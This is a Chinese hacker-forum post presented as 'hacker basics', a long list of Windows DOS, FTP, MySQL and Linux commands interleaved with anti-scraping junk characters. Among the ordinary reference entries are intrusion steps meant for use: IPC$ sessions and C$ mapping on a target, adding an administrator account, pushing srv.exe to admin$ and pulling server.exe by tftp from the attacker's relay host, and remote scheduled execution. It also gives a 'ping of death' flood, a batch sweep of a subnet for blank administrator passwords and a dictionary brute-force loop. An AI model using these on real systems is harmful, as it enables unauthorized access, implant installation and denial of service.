获得本站免费赞助空间请点这里
返回列表 发帖

黑客基础--最全的DOS命令

net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] " " /user:" " 建立IPC空链接 8 E5 v: ~7 l3 t% o& {* T- x, D5 ~
net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] "密码" /user:"用户名" 建立IPC非空链接
3 v# X: \4 H$ d2 w5 C1 Vnet use h: [url=file://\\ip\c$]\\ip\c$[/url] "密码" /user:"用户名" 直接登陆后映射对方C:到本地为H:   u) k/ w& u% y9 C6 h( p1 P( U
net use h: [url=file://\\ip\c$]\\ip\c$[/url] 登陆后映射对方C:到本地为H:
) ?( J7 }, Q0 C0 Inet use [url=file://\\ip\ipc$]\\ip\ipc$[/url] /del 删除IPC链接 * p2 T7 S, z3 P" V, O
net use h: /del 删除映射对方到本地的为H:的映射
% Q, R, q" V8 c2 n6 anet user 用户名 密码 /add 建立用户
6 z# x+ R: S. Qnet user guest /active:yes 激活guest用户
) E% m' A4 w4 Q; m) K, w! rnet user 查看有哪些用户
, D3 w  M- J! r+ Z" b" fnet user 帐户名 查看帐户的属性 1 M# i! d- W1 M& z$ j
net localgroup administrators 用户名 /add 把“用户”添加到管理员中使其具有管理员权限,注意:administrator后加s用复数 ! _  Z; x) t6 ?. l
net start 查看开启了哪些服务
& f$ d' y  ~, E8 [9 ^net start 服务名  开启服务;(如:net start telnet, net start schedule)
, e2 h) ~; n1 ?6 g# Ynet stop 服务名 停止某服务
8 E; f" e5 V% t0 B/ rnet time \\目标ip 查看对方时间 ' J1 a- W3 W$ Q9 O; R
net time \\目标ip /set 设置本地计算机时间与“目标IP”主机的时间同步,加上参数/yes可取消确认信息 1 ^# r6 @3 l. `$ T# [5 J
net view 查看本地局域网内开启了哪些共享
+ {6 t5 ?/ e  b6 o2 i* C& dnet view [url=file://\\ip]\\ip[/url] 查看对方局域网内开启了哪些共享 # D6 V5 J9 F( Q4 x8 x) P6 }9 w
net config 显示系统网络设置
* q0 q! `; a' s9 L2 V' U* y& unet logoff 断开连接的共享
2 X: Q' S7 X# Snet pause 服务名 暂停某服务
# W0 W; @9 a7 I; Cnet send ip "文本信息" 向对方发信息
) X' ]6 P4 N" z2 J2 |% Bnet ver 局域网内正在使用的网络连接类型和信息 4 H! V1 x5 c$ i. X5 y% r1 \5 b) U
net share 查看本地开启的共享
: i+ U: K* n) n6 A5 unet share ipc$ 开启ipc$共享 / j% b2 \0 N' w: q' v6 W5 _
net share ipc$ /del 删除ipc$共享
! k- n6 C+ u) xnet share c$ /del 删除C:共享
( i9 ]/ ?7 ?6 @( Z' \0 Onet user guest 12345 用guest用户登陆后用将密码改为12345 # I* C! h- ^, R( l, Q7 P3 B
net password 密码 更改系统登陆密码 4 t2 n. M( e: J$ M
netstat -a 查看开启了哪些端口,常用netstat -an
% b( n/ g" k3 |7 V  ^2 i$ V# anetstat -n 查看端口的网络连接情况,常用netstat -an
: Z  K: c$ i6 d6 R+ G& F; W: \' n* k9 snetstat -v 查看正在进行的工作 3 Q: q3 R8 x; l
netstat -p 协议名 例:netstat -p tcq/ip 查看某协议使用情况(查看tcp/ip协议使用情况)
# E8 V; ^6 z' b$ X. [netstat -s 查看正在使用的所有协议使用情况
8 X# ^- Z7 o* }nbtstat -A ip 对方136到139其中一个端口开了的话,就可查看对方最近登陆的用户名(03前的为用户名)-注意:参数-A要大写 : M% ?6 O3 D1 s( K6 ~* X, ~
tracert -参数 ip(或计算机名) 跟踪路由(数据包),参数:“-w数字”用于设置超时间隔。
' s) t$ I/ a. X. ^, w) \' v5 Gping ip(或域名) 向对方主机发送默认大小为32字节的数据,参数:“-l[空格]数据包大小”;“-n发送数据次数”;“-t”指一直ping。
1 @4 e4 i- l0 `4 Oping -t -l 65550 ip 死亡之ping(发送大于64K的文件并一直ping就成了死亡之ping) 3 n4 c4 g0 M! F3 c0 j
ipconfig (winipcfg) 用于windows NT及XP(windows 95 98)查看本地ip地址,ipconfig可用参数“/all”显示全部配置信息
* ^- H# z" N! i( H. T8 r0 N+ K0 o+ ztlist -t 以树行列表显示进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
8 Z$ g3 f2 f% l" u1 u$ V1 ]kill -F 进程名 加-F参数后强制结束某进程(为系统的附加工具,默认是没有安装的,在安装目录的Support/tools文件夹内)
" |, |( H5 ?/ u7 t8 J0 Mdel -F 文件名 加-F参数后就可删除只读文件,/AR、/AH、/AS、/AA分别表示删除只读、隐藏、系统、存档文件,/A-R、/A-H、/A-S、/A-A表示删除除只读、隐藏、系统、存档以外的文件。例如“DEL/AR *.*”表示删除当前目录下所有只读文件,“DEL/A-S *.*”表示删除当前目录下除系统文件以外的所有文件 ) `; ^6 B. r! U" M0 O! l' W- p
del /S /Q 目录 或用:rmdir /s /Q 目录 /S删除目录及目录下的所有子目录和文件。同时使用参数/Q 可取消删除操作时的系统确认就直接删除。(二个命令作用相同)
" x' s! I+ V9 i* i: A% \( c( Z: A/ H! bmove 盘符\路径\要移动的文件名 存放移动文件的路径\移动后文件名 移动文件,用参数/y将取消确认移动目录存在相同文件的提示就直接覆盖
0 N" A& ^* ?; Vfc one.txt two.txt > 3st.txt 对比二个文件并把不同之处输出到3st.txt文件中,"> "和"> >" 是重定向命令
, z6 W7 L& _$ W" X( G' A) qat id号 开启已php?name=%D7%A2%B2%E1"  class="t_tag">注册的某个计划任务
1 d% t! ~9 w$ q- w, Y8 C  o8 kat /delete 停止所有计划任务,用参数/yes则不需要确认就直接停止
. i8 ~" Y) |0 D! w* D' Nat id号 /delete 停止某个已注册的计划任务
" m! y9 c5 `  H  Kat 查看所有的计划任务
# w# B' j4 i6 E/ l2 ~at [url=file://\\ip]\\ip[/url] time 程序名(或一个命令) /r 在某时间运行对方某程序并重新启动计算机 1 K% U. V9 x6 `& E) m$ N
finger username @host 查看最近有哪些用户登陆
- h$ l. H# ~7 ^1 Q2 w% Mtelnet ip 端口 远和登陆服务器,默认端口为23 & k1 b2 E2 G+ X/ G
open ip 连接到IP(属telnet登陆后的命令)
: V; l7 Z: N1 j9 i1 Ptelnet 在本机上直接键入telnet 将进入本机的telnet 1 _4 ~# R# l) L0 y) R  ]
copy 路径\文件名1 路径\文件名2 /y 复制文件1到指定的目录为文件2,用参数/y就同时取消确认你要改写一份现存目录文件
  ?+ s/ I( |. Ecopy c:\srv.exe [url=file://\\ip\admin$]\\ip\admin$[/url] 复制本地c:\srv.exe到对方的admin下 6 U- Q/ d! Y1 H; {0 x
cppy 1st.jpg/b+2st.txt/a 3st.jpg 将2st.txt的内容藏身到1st.jpg中生成3st.jpg新的文件,注:2st.txt文件头要空三排,参数:/b指二进制文件,/a指ASCLL格式文件 , d: {2 N+ ]0 l+ e" t+ f0 [
copy [url=file://\\ip\admin$\svv.exe]\\ip\admin$\svv.exe[/url] c:\ 或:copy\\ip\admin$\*.* 复制对方admini$共享下的srv.exe文件(所有文件)至本地C: - T( |4 i+ Y8 y4 `: _# h2 e' k6 |
xcopy 要复制的文件或目录树 目标地址\目录名 复制文件和目录树,用参数/Y将不提示覆盖相同文件 / l7 N( S9 U) ?- j6 _, `
tftp -i 自己IP(用肉机作跳板时这用肉机IP) get server.exe c:\server.exe 登陆后,将“IP”的server.exe下载到目标主机c:\server.exe 参数:-i指以二进制模式传送,如传送exe文件时用,如不加-i 则以ASCII模式(传送文本文件模式)进行传送
5 D; H" R& }* K% l9 W: dtftp -i 对方IP put c:\server.exe 登陆后,上传本地c:\server.exe至主机
+ `" t! ~( Q9 y; q' l0 n# N/ jftp ip 端口 用于上传文件至服务器或进行文件操作,默认端口为21。bin指用二进制方式传送(可执行文件进);默认为ASCII格式传送(文本文件时)
! l3 [4 |: E/ s; n+ `route print 显示出IP路由,将主要显示网络地址Network addres,子网掩码Netmask,网关地址Gateway addres,接口地址Interface
% Q9 N! k9 u: h; t5 S# [arp 查看和处理ARP缓存,ARP是名字解析的意思,负责把一个IP解析成一个物理性的MAC地址。arp -a将显示出全部信息 " }2 G, `( u" K& i4 B/ N
start 程序名或命令 /max 或/min 新开一个新窗口并最大化(最小化)运行某程序或命令   \! e' e5 n( e) e
mem 查看cpu使用情况
; R& ?5 u- Z; S# W$ R& [$ battrib 文件名(目录名) 查看某文件(目录)的属性 * o" D1 ~$ t, I% x8 `: q- W' F$ }
attrib 文件名 -A -R -S -H 或 +A +R +S +H 去掉(添加)某文件的 存档,只读,系统,隐藏 属性;用+则是添加为某属性 , y' m: y1 m1 x* n! ~# \
dir 查看文件,参数:/Q显示文件及目录属系统哪个用户,/T:C显示文件创建时间,/T:A显示文件上次被访问时间,/T:W上次被修改时间 7 y# T* V7 I4 p. Z7 H0 t+ o
date /t 、 time /t 使用此参数即“DATE/T”、“TIME/T”将只显示当前日期和时间,而不必输入新日期和时间 3 [0 r5 F0 ]8 V8 w$ f) Y
set 指定环境变量名称=要指派给变量的字符 设置环境变量 $ P* s! g6 W4 s4 b5 @( g- Z/ v
set 显示当前所有的环境变量   O: b6 h1 c$ w' b& r
set p(或其它字符) 显示出当前以字符p(或其它字符)开头的所有环境变量
6 Z4 B/ t- g* ^# \pause 暂停批处理程序,并显示出:请按任意键继续....
# J5 ?1 d5 J. h5 y( b: ^if 在批处理程序中执行条件处理(更多说明见if命令及变量) 0 d( D! v8 f8 C" I5 z7 f. k
goto 标签 将cmd.exe导向到批处理程序中带标签的行(标签必须单独一行,且以冒号打头,例如:“:start”标签) 8 A& u! x& N* r
call 路径\批处理文件名 从批处理程序中调用另一个批处理程序 (更多说明见call /?)
+ E% t) H( h+ B' k$ vfor 对一组文件中的每一个文件执行某个特定命令(更多说明见for命令及变量)
' x# o, _, Y% o/ V1 @3 {echo on或off 打开或关闭echo,仅用echo不加参数则显示当前echo设置
2 p2 @2 B. l5 w- G2 Uecho 信息 在屏幕上显示出信息
6 }; Y2 C/ ]# H: Gecho 信息 >> pass.txt 将"信息"保存到pass.txt文件中 9 c; E) h1 W" u4 y$ g" B; e+ ]
findstr "Hello" aa.txt 在aa.txt文件中寻找字符串hello
2 U+ ~( N. {4 F+ R6 p2 t, ~, V7 mfind 文件名 查找某文件
; j2 h" i6 @" L: ^# l+ k6 xtitle 标题名字 更改CMD窗口标题名字 % q5 j3 X; z+ Y) n
color 颜色值 设置cmd控制台前景和背景颜色;0=黑、1=蓝、2=绿、3=浅绿、4=红、5=紫、6=黄、7=白、8=灰、9=淡蓝、A=淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白 # O  x" y1 t5 b0 s  r# V/ m
prompt 名称 更改cmd.exe的显示的命令提示符(把C:\、D:\统一改为:EntSky\ )
2 q( a+ W5 K6 }print 文件名 打印文本文件 + I& g8 {0 h% }$ m9 o: C/ @0 c( h
ver 在DOS窗口下显示版本信息 5 t! Z  k0 A3 Q; _
winver 弹出一个窗口显示版本信息(内存大小、系统版本、补丁版本、计算机名) $ q$ l! P- z4 X; L2 P1 l  G
format 盘符 /FS:类型 格式化磁盘,类型:FAT、FAT32、NTFS ,例:Format D: /FS:NTFS
& u$ e$ N; [3 x1 |6 Nmd 目录名 创建目录 6 G/ H$ j4 T4 g% A7 o7 r; B7 _
replace 源文件 要替换文件的目录 替换文件 ; Y& g$ b& x0 N# z" X: R0 n
ren 原文件名 新文件名 重命名文件名 # L1 J( g! H) h' Y
tree 以树形结构显示出目录,用参数-f 将列出第个文件夹中文件名称 / t2 X6 H. p; @
type 文件名 显示文本文件的内容
( v5 ?% Z' i9 [more 文件名 逐屏显示输出文件 & c* B9 c6 n. \* [6 e" Q
doskey 要锁定的命令=字符
5 z. G0 j8 \2 |2 udoskey 要解锁命令= 为DOS提供的锁定命令(编辑命令行,重新调用win2k命令,并创建宏)。如:锁定dir命令:doskey dir=entsky (不能用doskey dir=dir);解锁:doskey dir= 8 H8 y5 g2 D+ l9 I1 c
taskmgr 调出任务管理器
, D3 N/ L1 V+ ?: c/ jchkdsk /F D: 检查磁盘D并显示状态报告;加参数/f并修复磁盘上的错误 8 Y) k% V4 g5 O2 Z- [
tlntadmn telnt服务admn,键入tlntadmn选择3,再选择8,就可以更改telnet服务默认端口23为其它任何端口
) ?) G$ Q) |% e2 d+ Y5 Kexit 退出cmd.exe程序或目前,用参数/B则是退出当前批处理脚本而不是cmd.exe # E! T. D" E: K
path 路径\可执行文件的文件名 为可执行文件设置一个路径。
6 p- I+ K* R) I' l+ `1 I- _8 Mcmd 启动一个win2K命令解释窗口。参数:/eff、/en 关闭、开启命令扩展;更我详细说明见cmd /?
% E! ~( y( q( f, v$ [regedit /s 注册表文件名 导入注册表;参数/S指安静模式导入,无任何提示;
3 i2 q. U' b0 |regedit /e 注册表文件名 导出注册表
+ y9 X4 m9 {5 ?* i) Rcacls 文件名 参数 显示或修改文件访问控制列表(ACL)——针对NTFS格式时。参数:/D 用户名:设定拒绝某用户访问;/P 用户名:perm 替换指定用户的访问权限;/G 用户名:perm 赋予指定用户访问权限;Perm 可以是: N 无,R 读取, W 写入, C 更改(写入),F 完全控制;例:cacls D:\test.txt /D pub 设定d:\test.txt拒绝pub用户访问。
; W7 s' B6 w2 ?+ \7 ccacls 文件名 查看文件的访问用户权限列表 8 m5 X( B  s5 ?0 L2 {2 G% ?: j
REM 文本内容 在批处理文件中添加注解 # [. p1 N5 T, K6 ?2 \7 ~
netsh 查看或更改本地网络配置情况
- F/ X2 C  ?  ?9 }IIS服务命令:
8 P/ S' Z5 I% C2 Viisreset /reboot 重启win2k计算机(但有提示系统将重启信息出现)
% M8 B7 P; D: f7 j; Eiisreset /start或stop 启动(停止)所有Internet服务
. [3 L6 m& E4 M# F3 ~iisreset /restart 停止然后重新启动所有Internet服务 5 g2 Q: K1 Y3 \6 |0 k
iisreset /status 显示所有Internet服务状态
% B: F0 S# \& q3 k% p! Biisreset /enable或disable 在本地系统上启用(禁用)Internet服务的重新启动 ; c* T: E. U5 l
iisreset /rebootonerror 当启动、停止或重新启动Internet服务时,若发生错误将重新开机
6 V  D& K5 f2 ]. k1 Hiisreset /noforce 若无法停止Internet服务,将不会强制终止Internet服务 " X, m2 {' ]/ B$ N3 ~, }
iisreset /timeout Val在到达逾时间(秒)时,仍未停止Internet服务,若指定/rebootonerror参数,则电脑将会重新开机。预设值为重新启动20秒,停止60秒,重新开机0秒。
8 D) }- m3 |% H  |- _3 WFTP 命令: (后面有详细说明内容)
; l: L6 v1 h8 e: fftp的命令行格式为:# r! ~! ?: M9 V* z; _  M  m# H
ftp -v -d -i -n -g[主机名] -v 显示远程服务器的所有响应信息。' l+ K9 `3 j! Q9 j/ _3 u6 m# l
-d 使用调试方式。
! K# L& I, K- C/ }) K-n 限制ftp的自动登录,即不使用.netrc文件。7 K( V+ G; n6 g
-g 取消全局文件名。
% l9 L+ D. B: u3 }help [命令] 或 ?[命令] 查看命令说明
; |6 x* s0 J& r3 ~+ [  c: abye 或 quit 终止主机FTP进程,并退出FTP管理方式.
2 t3 j0 A5 i0 y! y# {2 [1 Y+ apwd 列出当前远端主机目录 - V. g. }6 m8 r
put 或 send 本地文件名 [上传到主机上的文件名] 将本地一个文件传送至远端主机中 . t9 D: Z) L: X2 {, t/ R9 R
get 或 recv [远程主机文件名] [下载到本地后的文件名] 从远端主机中传送至本地主机中 9 G* c+ [: V! G: w" M  I2 k
mget [remote-files] 从远端主机接收一批文件至本地主机 . F- D; `/ s& h: t9 ?* y% b+ `2 n  x
mput local-files 将本地主机中一批文件传送至远端主机 3 }! U! n+ m1 q
dir 或 ls [remote-directory] [local-file] 列出当前远端主机目录中的文件.如果有本地文件,就将结果写至本地文件 5 G3 [. z. r" {& Q. `6 J; }
ascii 设定以ASCII方式传送文件(缺省值) % ?% S& k& m+ k) l7 T
bin 或 image 设定以二进制方式传送文件
# c. ^1 _3 F# T) [0 |bell 每完成一次文件传送,报警提示
' p1 |8 G, O2 c1 {- @1 W6 C* jcdup 返回上一级目录 # C2 d. e, V; x" [
close 中断与远程服务器的ftp会话(与open对应)
" t9 M" R' X9 ^) `6 lopen host[port] 建立指定ftp服务器连接,可指定连接端口
! q% X) E4 f$ N$ [  F9 N! }delete 删除远端主机中的文件
! y) E' j- E0 L- ^8 amdelete [remote-files] 删除一批文件 5 N. {* [; U  \" Y. S) U) _2 [0 B
mkdir directory-name 在远端主机中建立目录 / f5 x& w5 S7 I+ @1 }" P2 v
rename [from] [to] 改变远端主机中的文件名 % y3 _0 p( ~4 |$ Z; n/ r& [
rmdir directory-name 删除远端主机中的目录
- [* R& x4 o3 U, B. u1 rstatus 显示当前FTP的状态
8 G7 Z$ W: I) v" lsystem 显示远端主机系统类型
( J! @5 W& c  e' iuser user-name [password] [account] 重新以别的用户名登录远端主机
  I) L+ z& t, q& ?% e* iopen host [port] 重新建立一个新的连接
4 U7 X* J0 P0 J4 O- R1 c$ Sprompt 交互提示模式 & {: o8 h4 v) |7 [
macdef 定义宏命令 2 V7 t# I7 s# f% z: V& x
lcd 改变当前本地主机的工作目录,如果缺省,就转到当前用户的HOME目录 " D' B  V! C" r9 r+ m) ?
chmod 改变远端主机的文件权限 + m5 X4 T# @, B2 Z; X/ ^0 O& }2 h
case 当为ON时,用MGET命令拷贝的文件名到本地机器中,全部转换为小写字母
0 K! K& R- Z& {8 J; bcd remote-dir 进入远程主机目录
3 K$ \0 r; {+ k5 bcdup 进入远程主机目录的父目录 . ?' B0 K* E+ X
! 在本地机中执行交互shell,exit回到ftp环境,如!ls*.zip & i: S1 _; I& _4 Y& x
MYSQL 命令: 0 g0 `$ H7 D( G* B
mysql -h主机地址 -u用户名 -p密码 连接MYSQL;如果刚安装好MYSQL,超级用户root是没有密码的。/ y% |2 H& z! a$ o8 O" n
(例:mysql -h110.110.110.110 -Uroot -P123456
- R0 ?# ]5 m. i% V7 x0 a注:u与root可以不用加空格,其它也一样) ! W# @+ Z0 B- q' J
exit 退出MYSQL
5 j9 O; R; R. n$ q: Umysqladmin -u用户名 -p旧密码 password 新密码 修改密码
+ O8 l' q. c  c4 [+ |grant select on 数据库.* to 用户名@登录主机 identified by \"密码\"; 增加新用户。(注意:和上面不同,下面的因为是MYSQL环境中的命令,所以后面都带一个分号作为命令结束符)   l' h) k6 B4 P% D; i: p
show databases; 显示数据库列表。刚开始时才两个数据库:mysql和test。mysql库很重要它里面有MYSQL的系统信息,我们改密码和新增用户,实际上就是用这个库进行操作。
8 Q' t3 C' W, W5 yuse mysql;8 ~* G* W- w0 T& T8 ]
show tables; 显示库中的数据表 7 d7 u& n9 @7 B1 ~! `! E  V
describe 表名; 显示数据表的结构
5 ^7 X5 y, k$ R8 ]create database 库名; 建库
7 G: a$ L, ~& I) [9 suse 库名;
! r1 F' h% r6 l- B! J' I, e9 R0 ycreate table 表名 (字段设定列表); 建表 5 G( R1 b# n: G( ~  F' d* F& P4 f' y
drop database 库名;
9 p, _& i; x  P" v7 [7 w( Mdrop table 表名; 删库和删表
5 C- t. w  z5 i* p6 j* K5 vdelete from 表名; 将表中记录清空
8 s3 R! \  m) t' Nselect * from 表名; 显示表中的记录
  g. o; g, {- E' X9 D( wmysqldump --opt school>school.bbb 备份数据库:(命令在DOS的[url=file://\\mysql\\bin]\\mysql\\bin[/url]目录下执行);注释:将数据库school备份到school.bbb文件,school.bbb是一个文本文件,文件名任取,打开看看你会有新发现。 7 T$ y# L. e3 O. h
win2003系统下新增命令(实用部份):
; @9 S1 {! w# g4 q- kshutdown /参数 关闭或重启本地或远程主机。- }) n# F. ^% p8 o+ L
参数说明:/S 关闭主机,/R 重启主机, /T 数字 设定延时的时间,范围0~180秒之间, /A取消开机,/M //IP 指定的远程主机。
5 p% `) `+ [9 R  _" `* O* a# Q例:shutdown /r /t 0 立即重启本地主机(无延时) , E9 `: l+ M% z0 K& w
taskill /参数 进程名或进程的pid 终止一个或多个任务和进程。
) S8 H; A! S7 S2 A. @# P参数说明:/PID 要终止进程的pid,可用tasklist命令获得各进程的pid,/IM 要终止的进程的进程名,/F 强制终止进程,/T 终止指定的进程及他所启动的子进程。
0 [5 m- O; V) T8 f0 J  }7 d+ v- {tasklist 显示当前运行在本地和远程主机上的进程、服务、服务各进程的进程标识符(PID)。
- L: R# C" i4 l. Q4 M) F参数说明:/M 列出当前进程加载的dll文件,/SVC 显示出每个进程对应的服务,无参数时就只列出当前的进程3 m/ K0 p2 O* m4 c& x4 s
Linux系统下基本命令: 要区分大小写
% r% G7 }: ~6 X* \uname 显示版本信息(同win2K的 ver)
: B/ j9 z3 u/ r, @8 B8 Qdir 显示当前目录文件,ls -al 显示包括隐藏文件(同win2K的 dir)
. }/ y) {) l  ]4 A" Mpwd 查询当前所在的目录位置
: s: a: r& W2 x, _) j$ }' B) rcd cd ..回到上一层目录,注意cd 与..之间有空格。cd /返回到根目录。
  ^  U- I5 O2 Q. D6 _6 xcat 文件名 查看文件内容 % |6 N; ?) K4 m7 ~( s
cat >abc.txt 往abc.txt文件中写上内容。 1 W0 d  v1 r* `
more 文件名 以一页一页的方式显示一个文本文件。
2 ?& U$ {0 ?0 K7 I/ @/ Icp 复制文件
5 S/ m5 j9 U8 C" kmv 移动文件 # d: ]! X. ~7 u) P% W
rm 文件名 删除文件,rm -a 目录名删除目录及子目录 : D6 B7 O! s; g
mkdir 目录名 建立目录 + i% {( x( e  s3 d5 }# X
rmdir 删除子目录,目录内没有文档。   k5 ~" U- v* ]% z$ u( m' x2 v
chmod 设定档案或目录的存取权限 ' O2 C' v6 Z) d
grep 在档案中查找字符串
4 X+ S% }- k# p- S! F5 T2 ^+ ~' @diff 档案文件比较
0 d+ k' m8 ~% O5 T% yfind 档案搜寻 3 Q1 D# v2 L9 \, E8 S
date 现在的日期、时间
  H2 a7 ~3 h7 `9 C0 |+ owho 查询目前和你使用同一台机器的人以及Login时间地点
0 [$ X8 z6 q. Aw 查询目前上机者的详细资料
- k6 Q4 x' y& d' k" Nwhoami 查看自己的帐号名称
" V3 U$ n5 }+ P+ }0 u3 B1 f( b3 dgroups 查看某人的Group
% a: l* h- k$ p$ k$ |7 cpasswd 更改密码
( c8 w' h& E, @! {, P3 a% bhistory 查看自己下过的命令 & k" S* G. h: F/ X6 s( _2 ]) \
ps 显示进程状态 & w4 z) G9 y0 [4 Y$ a/ R, G
kill 停止某进程
9 ?# y. c6 j: z6 {% @' t+ N  Dgcc 黑客通常用它来编译C语言写的文件
6 c8 i/ \1 u  T& W/ |* }6 hsu 权限转换为指定使用者   V  _0 O# P2 q. X. W
telnet IP telnet连接对方主机(同win2K),当出现bash$时就说明连接成功。 4 @7 ~6 t4 d: t( H
ftp ftp连接上某服务器(同win2K6 |2 _/ n' L2 w
附:批处理命令与变量: m4 K8 H- J" D2 v/ }# U/ o
1:for命令及变量 基本格式: - f9 C& b9 T8 U" h0 M1 D) U
FOR /参数 %variable IN (set) DO command [command_parameters] %variable:指定一个单一字母可替换的参数,如:%i ,而指定一个变量则用:%%i ,而调用变量时用:%i% ,变量是区分大小写的(%i 不等于 %I)。- s) p# h9 g0 P) n1 @
批处理每次能处理的变量从%0—%9共10个,其中%0默认给批处理文件名使用,%1默认为使用此批处理时输入的的第一个值,同理:%2—%9指输入的第2-9个值;例:net use [url=file://\\ip\ipc$]\\ip\ipc$[/url] pass /user:user 中ip为%1,pass为%2 ,user为%3$ v6 n0 C4 r4 A% V
(set):指定一个或一组文件,可使用通配符,如:(D:\user.txt)和(1 1 254)(1 -1 254),{“(1 1 254)”第一个"1"指起始值,第二个"1"指增长量,第三个"254"指结束值,即:从1到254;“(1 -1 254)”说明:即从254到1}5 L9 h- R- g+ ~2 k! K1 Q
command:指定对第个文件执行的命令,如:net use命令;如要执行多个命令时,命令这间加:& 来隔开
- u: ?+ e2 ~( hcommand_parameters:为特定命令指定参数或命令行开关/ N+ E3 ]: w3 R# J4 g( {
IN (set):指在(set)中取值;DO command :指执行command
9 A0 ^0 I6 w8 o! }- Z: ^参数:/L 指用增量形式{(set)为增量形式时};/F 指从文件中不断取值,直到取完为止{(set)为文件时,如(d:\pass.txt)时}。
; N2 Y/ q$ \  U6 d* w, X用法举例: . f7 s& Y/ E* o7 U/ T+ F
@echo off
# P' m3 R( D. j# Jecho 用法格式:test.bat *.*.* > test.txt
7 r) U- x% ^& G6 ffor /L %%G in (1 1 254) do echo %1.%%G >>test.txt & net use [url=file://\\%1.%%G]\\%1.%%G[/url] /user:administrator | find "命令成功完成" >>test.txt . y% y! K6 _: }' Y% b+ Q
存为test.bat 说明:对指定的一个C类网段的254个IP依次试建立administrator密码为空的IPC$连接,如果成功就把该IP存在test.txt中。
0 [5 E. `5 {% K- l7 p9 W9 c- i: o/L指用增量形式(即从1-254或254-1);输入的IP前面三位:*.*.*为批处理默认的 %1;%%G 为变量(ip的最后一位);& 用来隔开echo 和net use 这二个命令;| 指建立了ipc$后,在结果中用find查看是否有"命令成功完成"信息;%1.%%G 为完整的IP地址;(1 1 254) 指起始值,增长量,结止值。 ! d* A9 {, Q6 v2 E
@echo off 7 w8 v1 ^% u. _0 a$ {+ x
echo 用法格式:ok.bat ip $ |" K* _+ R" N- M
FOR /F %%i IN (D:\user.dic) DO smb.exe %1 %%i D:\pass.dic 200
5 M; b7 x! k, F) ^存为:ok.exe 说明:输入一个IP后,用字典文件d:\pass.dic来暴解d:\user.dic中的用户密码,直到文件中值取完为止。%%i为用户名;%1为输入的IP地址(默认)。1 }' g. H! @) w3 k  i2 T1 S* g
2:if命令及变量 基本格式: + P9 h8 K  J/ G$ |
IF [not] errorlevel 数字 命令语句 如果程序运行最后返回一个等于或大于指定数字的退出编码,指定条件为“真”。. C) u" L, p( Z$ I
例:IF errorlevel 0 命令 指程序执行后返回的值为0时,就值行后面的命令;IF not errorlevel 1 命令指程序执行最后返回的值不等于1,就执行后面的命令。* v( M/ \0 c7 S. }5 _. r/ K
0 指发现并成功执行(真);1 指没有发现、没执行(假)。
% [& f4 O4 t; `8 Z3 ]% Q0 y0 ~7 AIF [not] 字符串1==字符串2 命令语句 如果指定的文本字符串匹配(即:字符串1 等于 字符串2),就执行后面的命令。& V6 P% Z0 @0 I$ q
例:“if "%2%"=="4" goto start”指:如果输入的第二个变量为4时,执行后面的命令(注意:调用变量时就%变量名%并加" ")
* _  }6 w4 b! J4 J. H7 T7 XIF [not] exist 文件名 命令语句 如果指定的文件名存在,就执行后面的命令。
# }% N& E( G$ S4 M+ |, B2 ~, C例:“if not nc.exe goto end”指:如果没有发现nc.exe文件就跳到":end"标签处。 . h/ d9 @9 u# U8 A& a5 D5 Q. T
IF [not] errorlevel 数字 命令语句 else 命令语句或 IF [not] 字符串1==字符串2 命令语句 else 命令语句或 IF [not] exist 文件名 命令语句 else 命令语句 加上:else 命令语句后指:当前面的条件不成立时,就指行else后面的命令。注意:else 必须与 if 在同一行才有效。 当有del命令时需把del命令全部内容用< >括起来,因为del命令要单独一行时才能执行,用上< >后就等于是单独一行了;例如:“if exist test.txt. <del test.txt.> else echo test.txt.missing ”,注意命令中的“.”

返回列表
【捌玖网络】已经运行: